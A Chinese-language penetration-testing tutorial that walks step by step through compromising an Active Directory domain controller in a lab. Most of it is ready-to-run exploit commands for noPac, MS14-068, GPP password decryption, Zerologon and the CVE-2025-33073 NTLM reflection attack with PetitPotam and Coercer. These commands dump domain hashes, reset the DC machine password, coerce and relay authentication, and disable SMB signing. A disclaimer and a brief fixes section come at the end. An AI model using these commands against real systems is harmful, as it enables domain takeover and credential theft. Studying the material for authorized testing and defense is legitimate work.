域控攻击全流程详解(含多种漏洞利用)
前言
在网络安全领域,域控制器(Domain Controller,DC)作为企业网络的核心,管理着域内所有用户账号、计算机权限及资源访问控制,其安全性直接决定了整个企业网络的安全边界。本文将详细梳理从获取域内低权限账号到拿下域控权限的完整攻击链路,重点讲解多种经典及新型域控攻击漏洞的原理、攻击过程、工具使用方法,同时涵盖环境准备、代理配置等前置条件。
本文内容仅用于网络安全学习与渗透测试实践参考,严禁用于未授权的攻击行为,所有测试需在合法授权的环境下进行。
一、攻击前置条件与环境说明
1.1 核心目标
获取域内低权限账号 → 利用漏洞提权/获取哈希 → 拿下域控管理员权限 → 导出域内所有用户哈希
1.2 代理配置
已完成代理搭建,确保攻击机可正常访问域内网络
1.3 主机信息
- 边界PC-域内主机:

- 域控主机:10.10.2.200(域名:oa.com,主机名:dc.oa.com)
- 攻击机:Windows(192.168.61.249)、Kali Linux(192.168.61.251)
- 域内普通账号:oa.com/et,密码:A123456.(部分场景使用密码:Admin123...)
- 域内用户SID:S-1-5-21-2960966483-183517332-1625364895-1103
二、经典域控攻击漏洞利用
2.1 CVE-2021-42278 & CVE-2021-42287(sam-the-Admin/NoPac)
漏洞原理
利用TGS票据生成机制,构造与域管账号相关的ST服务票据,直接获取域管权限(需将攻击机机器名称伪装为DC)。核心思路是通过修改机器账号属性,绕过KDC票据验证机制,获取高权限服务票据。
攻击流程
- 创建机器账号
- 清除机器账号的servicePrincpalName属性
- 将机器账号的SAMMACountName属性修改为域控主机的机器账号名称(不带$符号)
- 使用机器账号请求TGT,并将SAMMACountName修改为其他域控DC不同的账号名称
- 通过机器用户S4U2self向KDC票据分发中心获取服务票据ST
- 利用ST票据获取域控权限
工具1:sam-the-admin 利用
前提:已知域内账号名称、拥有域内一台主机权限
bash
# 调试模式获取域控权限并导出域内所有用户hash
python3 sam_the_admin.py oa.com/et:'A123456.' -dc-ip 10.10.2.200 -debug

bash
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-smbexec -target-ip 10.10.2.200 -dc-ip 10.10.2.200 -k -no-pass @'dc.oa.com'
# Administrator.ccache:当前域控用户的票据名称
# dc.oa.com:DC域控主机名(必须为dc)

bash
# 直接导出哈希,设置导出的模式dump,会在本地生成一个新的证书cacche
python3 sam_the_admin.py oa.com/et:'A123456.' -dc-ip 10.10.2.200 -dump

bash
# 导出域内所有用户的哈希值
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-secretsdump -target-ip
10.10.2.200 -dc-ip 10.10.2.200 -k -no-pass @'dc.oa.com'

工具2:noPac 利用(无需在域内PC执行,支持隧道)
bash
# 1. 扫描漏洞是否存在,出现TGT票据证明漏洞存在
proxychains python scanner.py -use-ldap oa.com/et:A123456. -dc-ip 10.10.2.200


bash
# 2. 获取目标的ST服务票据(域名解析失败则本地DNS设为域控IP 10.10.2.200)
proxychains python noPac.py -use-ldap oa.com/et:A123456. -dc-ip 10.10.2.200
# 本地生成服务票据:Administrator_dc.oa.com.ccache

bash
# 3. 以服务票据模拟域管获取shell
proxychains python noPac.py -use-ldap oa.com/et:A123456. -dc-ip 10.10.2.200 -shell --impersonate administrator
如果出现报错,提醒你域名解析失败,需要设置你当前主机的域名解析DNS为目标的域控IP地址,如下图:

在本地拿到服务票据Administrator_dc.oa.com.ccache

bash
# 4. 导出目标hash值(含域控机器用户hash和ntds.dit中的域内哈希)
proxychains python noPac.py -use-ldap oa.com/et:A123456. -dc-ip 10.10.2.200 --impersonate administrator -dc-host dc -dump


dump目标的hash值: 包括域控机器用户的hash(SAM中的密码)和ndts.dit中的域内哈希
bash
proxychains python noPac.py -use-ldap oa.com/et:A123456. -dc-ip 10.10.2.200 --impersonate administrator -dc-host dc -dump


bash
# 5. 利用票据导出hash补充命令
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-secretsdump -target-ip 10.10.2.200 -dc-ip 10.10.2.200 -k -no-pass @'dc.oa.com'
2.2 MS14-068(CVE-2014-6324)经典域内提权
漏洞说明
通过修改TGT票据中的PAC部分,实现从普通域用户权限提升至域管权限。域控若安装补丁KB3011780 则无此漏洞。
TGT生成过程:

申请一个用户的TGT票据,修改其中包含的PAC部分,获取域管权限;
补丁:KB3011780(域控如果打了该补丁,则无漏洞)
影响环境
Vista、Windows 7/8/8.1、Windows Server 2003/2008/2008R2/2012/2012R2
漏洞原理
TGT[oa\et PAC] → 篡改PAC为TGT[oa\administrator PAC] → 获取高权限ST票据
攻击条件
- 域内用户账号及密码
- 域内用户SID
- 域名及域控IP地址
攻击过程(抓明文密码+票据注入)
定位域控和IP地址:oa.com

域控IP:10.10.2.200

获取域内用户的SID:S-1-5-21-2960966483-183517332-1625364895-1103

bash
# 1. 上传MS14-068.exe生成TGT票据
shell MS14-068.exe -u et@oa.com -p A123456. -s S-1-5-21-2960966483-183517332-1625364895-1103 -d 10.10.2.200
# 当前目录生成票据:TGT_et@oa.com.ccache

在目标执行后,在当前目录生成一张ccache的票据
bashshell MS14-068.exe -u 域用户@域名 -p 密码 -s 域用户的SID -d 域控IP
bash
# 2. 清除目标机现有票据信息
klist purge

bash
# 3. 注入新票据到目标机内存(mimikatz版本不支持则升级或用psexec)
shell mimikatz.exe "kerberos::ptc C:\Users\et\Desktop\TGT_et@oa.com.ccache" "exit"


检查导入成功:

bash
# 4. 验证票据后创建交互式shell
shell psexec.exe -accepteula \\dc.oa.com cmd
2.3 Server 2008组策略首选项提权
漏洞背景
Server 2008版本引入组策略首选项功能,其配置文件中会以加密形式存储密码,该加密算法已被破解,攻击者可通过读取配置文件解密获取密码。后续服务器版本已通过补丁加固,本次实验靶机为Server 2008 R2。
漏洞环境配置
-
打开组策略对象:
gpmc.msc(会失败,抓取密码成功,但时无法使用该账号登录)

-
新建本地用户属性,将内置管理账号重名为hacker,设置密码A123456.


-
更新组策略


攻击过程
bash
# 1. 获取组策略首选项配置文件路径
shell dir /s /a \\10.10.2.200\sysvol\*.xml
# 获取到的路径:
\\10.10.2.200\sysvol\oa.com\Policies\{F0F3EDAF-CA2C-4048-9AB7-
1C1DA757F7FC}\Machine\Preferences\Groups

bash
# 2. 读取XML配置文件(替换为实际获取的路径)
beacon> shell type \\10.10.2.200\sysvol\oa.com\Policies\{F0F3EDAF-CA2C-4048-9AB7-1C1DA757F7FC}\Machine\Preferences\Groups\Groups.xml
提取关键信息:
xml
<Properties action="U" newName="hacker" fullName="" description="" cpassword="S0ABkxabkW1aj9rovqlKccANkdAJ1UgYOXWq6TSJQog" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (鍐呯疆)"/>
核心信息:newName="hacker",cpassword="S0ABkxabkW1aj9rovqlKccANkdAJ1UgYOXWq6TSJQog"
密码解密(三种方法可选)
bash
# 方法1:Kali工具直接解密
gpp-decrypt S0ABkxabkW1aj9rovqlKccANkdAJ1UgYOXWq6TSJQog

bash
# 方法2:PowerShell脚本解密
beacon> shell powershell Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
上传脚本:Get-GPPPassword.ps1


bash
# 方法3:MSF模块解密(需设置session后运行)
post/windows/gather/credentials/gpp
bash
# 方法4:利用方法:IPC链接域控
# 登录失败可能是未添加domain computers组,需重新配置GPC策略项。

重新设置环境:配置最高默认的GPC策略项

攻击获取新的账号密码

解密:

登录过程:

2.4 存在蓝屏风险的提权漏洞(CVE-2019-0708 & CVE-2020-0796)
2.4.1 CVE-2019-0708(RDP远程代码执行)
利用该漏洞可通过RDP协议远程代码执行获取权限,存在导致目标机蓝屏的风险。
- EXP工具:https://github.com/cbwang505/CVE-2019-0708-EXP-Windows、https://github.com/RICSecLab/CVE-2019-0708
- Metasploit模块:CVE-2019-0708 exp模块
2.4.2 CVE-2020-0796(SMB v3远程代码执行)
仅影响Windows 10 1903-1909版本,利用SMB v3协议远程代码执行获取权限,存在蓝屏风险。
- POC工具:https://github.com/ZecOps/CVE-2020-0796-RCE-POC
- Metasploit模块:CVE-2020-0796 exp模块
2.5 CVE-2020-1472(重置域管用户密码为空)
漏洞说明
可直接将域控主机机器账号(如DC$)密码重置为空,重置后可能影响DNS服务和LDAP服务。影响版本:Server 2012/2016/2019/2004等。
攻击条件
拥有域内一台主机的SYSTEM或Administrator权限,以及域内普通账号权限(本次测试在Administrator权限下进行)
攻击过程
bash
# 1. 漏洞检测与密码重置(两种方法)
# 方法1:Mimikatz重置
mimikatz.exe "lsadump::zerologon /domain:oa.com /server:10.10.2.200 /user:DC$" "exit"

bash
# 方法2:MSF模块重置(自带模块,直接运行)
检测是否存在漏洞:

进行漏洞攻击,重置目标密码为空

空密码哈希传递(PTH)登录
其他方法重置为空:

重置后用其他工具impacket导出所有用户的hash值:

用MSF模块进行smb协议登录(成功会返回一个shell)

bash
# 登录也可以用impacket-psexec登录
impacket-psexec oa.com/administrator@10.10.2.200 -hashes aad3b435b51404eeaad3b435b51404ee:3766c17d09689c438a072a33270cb6f5

三、新型域控攻击漏洞:CVE-2025-33073(NTLM反射域内提权)
3.1 漏洞介绍
CVE-2025-33073是影响广泛的Windows SMB客户端漏洞,利用NTLM/Kerberos认证反射技术,在不启用SMB签名且有合法凭证的环境下,可实现SYSTEM权限远程提权。攻击者仅需普通域用户权限,即可远程攻击域内任意非域控计算机并获取最高权限。
3.2 攻击条件
- 拥有域内普通账号权限(本文使用:oa.com/et,密码:Admin123...)
- 目标主机未强制 SMB 签名: "计算机配置→策略→Windows 设置→安全设置→本地策略→安全选
项→Microsoft 网络服务器: 对通信进行数字签名(始终)"(域控组策略中该项是启用的,因此默认配
置下的域控不受此漏洞影响)

cmd命令行注册表关闭方法:
bash
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v
RequireSecuritySignature /t REG_DWORD /d 0 /f
- 域DNS可被篡改(支持AD DNS动态更新)
- 目标主机未安装补丁:KB5039211
注:windows-server 2012R2补丁103个复现失败,失败问题:发送DNS中继攻击时无法解析到攻击机IP,重搭环境2008测试
影响版本
所有未安装2025.6月安全补丁,且未强制启用SMB签名的所有域内计算机(域控除外)。其中域控制
器默认强制启用了SMB签名,因此不受直接影响;而域内除域控外的其他计算机在默认情况下一般并不
会开启SMB签名防护,因此在未打补丁的情况下,这些机器极易受到此漏洞的攻击风险。
3.3 环境信息补充
- 被攻击机器:10.10.2.150(PC.oa.com)
- 攻击机(Kali,域外,通过代理访问域内):10.10.2.129
- 关闭目标机SMB签名(cmd注册表命令)
bash
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
3.4 漏洞复现(工具:https://github.com/mverschu/CVE-2025-33073)
说明
| 说明 | IP/主机名/账号信息 |
|---|---|
| DC(域控制器) | 10.10.2.200(dc.oa.com) |
| 被攻击机器 | 10.10.2.150(PC.oa.com) |
| 攻击机(Kali,域外,需代理访问域内) | 10.10.2.129 |
| 域内普通账号 | oa.com\et ,密码:Admin123... |
工具:https://github.com/mverschu/CVE-2025-33073?tab=readme-ov-file
步骤1:添加恶意DNS记录
向域内DNS添加特殊构造的记录,指向攻击机IP
bash
# 向域内 dns 添加一条记录,记录名为server11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 指向攻击者的ip192.168.72.251
# 注意:PC主机名称不能有特殊符号:如:-PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
python3 dnstool.py -u '域名\域用户' -p '域用户密码' 域控ip -a add -r 被攻击机器主机名1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 攻击者ip
python3 dnstool.py -u 'oa.com\et' -p 'Admin123...' 10.10.2.200 -a add -r PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.10.2.129
# -r:特殊构造的DNS记录主机名(无特殊符号)
# 若记录名设为localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,可攻击任意域内机器
# 即添加这条dns记录后,后续两个攻击步骤只需将10.10.2.150更换为其他域内机器的ip即可获取对应机器权限

bash
# 验证DNS记录是否添加成功
python3 dnstool.py -u 'oa.com\et' -p 'Admin123...' 10.10.2.200 -a query -r PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

bash
# 其他检测方法:
# 在目标主机执行 nslookup PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 查看解析地址是否为设置地址:
nslookup PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

步骤2:启动SMB中继服务
在Kali上启动NTLM中继服务,等待目标机发起NTLM认证并反射攻击:
启动 Kali 上的 NTLM 中继服务,此时 Kali 正在等待机器 10.10.2.150 向 Kali 发起 NTLM 认证请求。一旦收到 NTLM 认证,Kali 会把这个认证"中继"到 10.10.2.150 本身。
本质上是让机器对自己"签名"验证 ➜ 实现 "NTLM反射攻击" ➜ 变成 SYSTEM。
bash
python3 ntlmrelayx.py -t 被攻击机器ip -smb2support
#在impacket包里面:
/usr/share/doc/python3 -impacket/examples/ntlmrelayx.py
注意:在windows上,这里还有一个坑,需要关闭本机的445端口,可以通过注册表来关闭。
# 先关闭Kali本地445端口(避免冲突)
# 1. 注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters 新建SMBDericeEnabled=0(32位)
# 2. 禁用Server服务:systemctl stop smbd && systemctl disable smbd
# 3. 重启Kali生效
# 启动SMB中继服务,监听445端口
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t 10.10.2.150 -smb2support



这是 SMB NTLM反射(Relay) 的典型玩法,由于SMB签名被禁用 ➜ 没有完整性保护 ➜ Kali 可以转发认证给目标自身 ➜ 目标信任自己 ➜ 提权 SYSTEM。
步骤3:触发NTLM认证(两种方法)
方法1:PetitPotam攻击(CVE-2021-36942)
利用MS-EFSRPC协议漏洞强制目标机发起认证(需目标未修复KB5005413等补丁)
使用pettipotam强制触发被攻击机向设定好的DNS记录发起NTLM认证:CVE-2021-36942
工具地址: https://github.com/topotam/PetitPotam
bash
# 检测目标是否修复补丁
wmic qfe list brief | findstr "KB5005413 KB5005418 KB5005394 KB5005403 KB5005409"
# 触发NTLM认证
python3 petitpotam.py -d 域名 -u '域用户' -p '域用户密码' 被攻击机器主机名 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 被攻击机器ip
python3 /home/xx/AttackDC/PetitPotam-main/PetitPotam.py -d oa.com -u et -p "Admin123..." PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.10.2.150
#攻击成功后会在"SMB 中继服务监听位置"获取hash

攻击原理:
- PetitPotam 利用 EFS RPC 协议对目标(10.10.2.150)发"伪造的共享访问"请求;
- 目标收到请求后,尝试连接你提前在 DNS 中伪造的主机名(即 PC1UWhRCA... );
- 解析这个主机名 ➜ 变成 Kali 攻击机的IP(192.168.72.251);
- 目标(10.10.2.150)向 Kali 发起 NTLM 认证请求(SMB连接);
- Kali 的 ntlmrelayx 捕获这个认证;
- Kali 立刻"中继"这个认证 ➜ 发给目标机器(10.10.2.150)自己 ➜ 成功登录 SYSTEM(因为自己信任自己);
- 攻击者获得10.10.2.150 SYSTEM 权限。
方法2:Coercer攻击(通用性更强)
工具地址:https://github.com/p0dalirius/Coercer
支持多种 RPC/MSRPC 协议,包括但不限于:MS-EFSRPC(同 PetitPotam)、MS-RPRN(打印服务,类似 PrintSpooler 漏洞)、MS-FSRVP(卷影复制服务)、MS-DFSNM(DFS 命名空间管理等十几种协议。
bash
# 通过轮询RPC也可强制访问
python3 Coercer.py coerce -d oa.com -u et -p Admin123... -l PC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -t 192.168.233.129

步骤4:ntlmrelayx.py获取哈希并登录
bash
# 1. 在SMB中继服务窗口直接获取目标机本地账号hash
# 返回10.10.2.150 的本地账号 hash
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t PC.oa.com -
smb2support

bash
# 2. 使用wmiexec.py通过hash登录目标机
# kali: /usr/share/doc/python3-impacket/examples/wmiexec.py
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py administrator@10.10.2.150 -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -codec gbk

3.5 注意事项与修复方式
注意事项
- DC 本身不可作为攻击目标(因默认强 SMB 签名)。
- 虚拟环境中网关的防火墙需要关闭。
- 被攻击机需关闭 SMB 签名(默认 Workstation 是关闭的)。
- petitpotam 目标需为域成员机。
- 若提示 SMB signature enabled ,则该机无法被中继。
- 可以用以下命令检查目标 SMB 签名:
bash
nmap --script smb2-security-mode.nse -p445 10.10.2.150 #Message signing enabled
but not required 中继失败

修复方式
bash
# 1. 安装补丁KB5039211
# 2. 开启SMB签名
Set-SmbClientConfiguration -RequireSecuritySignature $true
Set-SmbServerConfiguration -RequireSecuritySignature $true
# 3. 禁止普通域用户新建DNS记录(域控权限加固)
默认情况下AD域内所有经过身份认证的普通域用户均具备新建 DNS 记录权限
python3 CVE-2025-33073.py -u 'oa.com\et' -p 'Admin123...' --attacker-ip 10.10.2.129 --dns-ip 10.10.2.200 --dc-fqdn DC.oa.com --target server.oa.com --target-ip 10.10.2.160 --cli-only
四、总结
本文详细梳理了从域内低权限账号到域控权限的完整攻击链路,涵盖6种经典及新型域控攻击漏洞,包括CVE-2021-42278/42287、MS14-068、组策略首选项提权、CVE-2019-0708、CVE-2020-1472、CVE-2025-33073等。
这些攻击手段的核心均围绕Kerberos认证机制缺陷 、SMB协议漏洞 、组策略配置薄弱点 展开,其成功利用多依赖于目标环境未及时打补丁 、安全配置不当 (如关闭SMB签名、开放DNS动态更新权限)、权限管控松散等问题。
对于企业网络安全防御而言,需重点落实以下防护措施:
- 及时更新系统补丁,批量修复已知高危漏洞,杜绝漏洞利用基础;
- 强化域控核心安全配置,强制开启SMB签名、限制DNS动态更新权限、关闭高危协议;
- 遵循最小权限原则,严格管控域用户权限,避免普通用户拥有系统提权、资源修改权限;
- 定期开展域内安全审计,检测Kerberos票据伪造、哈希泄露、权限越权等潜在风险;
- 部署入侵检测/防御系统,监控异常SMB中继、DNS篡改、票据注入等攻击行为。
网络安全的核心是攻防对抗,了解攻击手段的本质是为了构建更精准的防御体系。希望本文内容能为安全从业者提供技术参考,助力企业提升域控及整体网络的安全防护能力。
免责声明
本文所涉及的攻击技术、工具及操作流程,仅用于网络安全学习研究和合法授权的渗透测试场景。
未经授权擅自对他人网络、计算机系统实施攻击、侵入、数据窃取等行为,均属于违法犯罪行为,将依据《中华人民共和国网络安全法》《中华人民共和国刑法》等相关法律法规承担相应民事、行政乃至刑事责任。
请严格遵守网络安全法律法规,尊重网络空间安全边界,坚守安全从业者的职业操守。
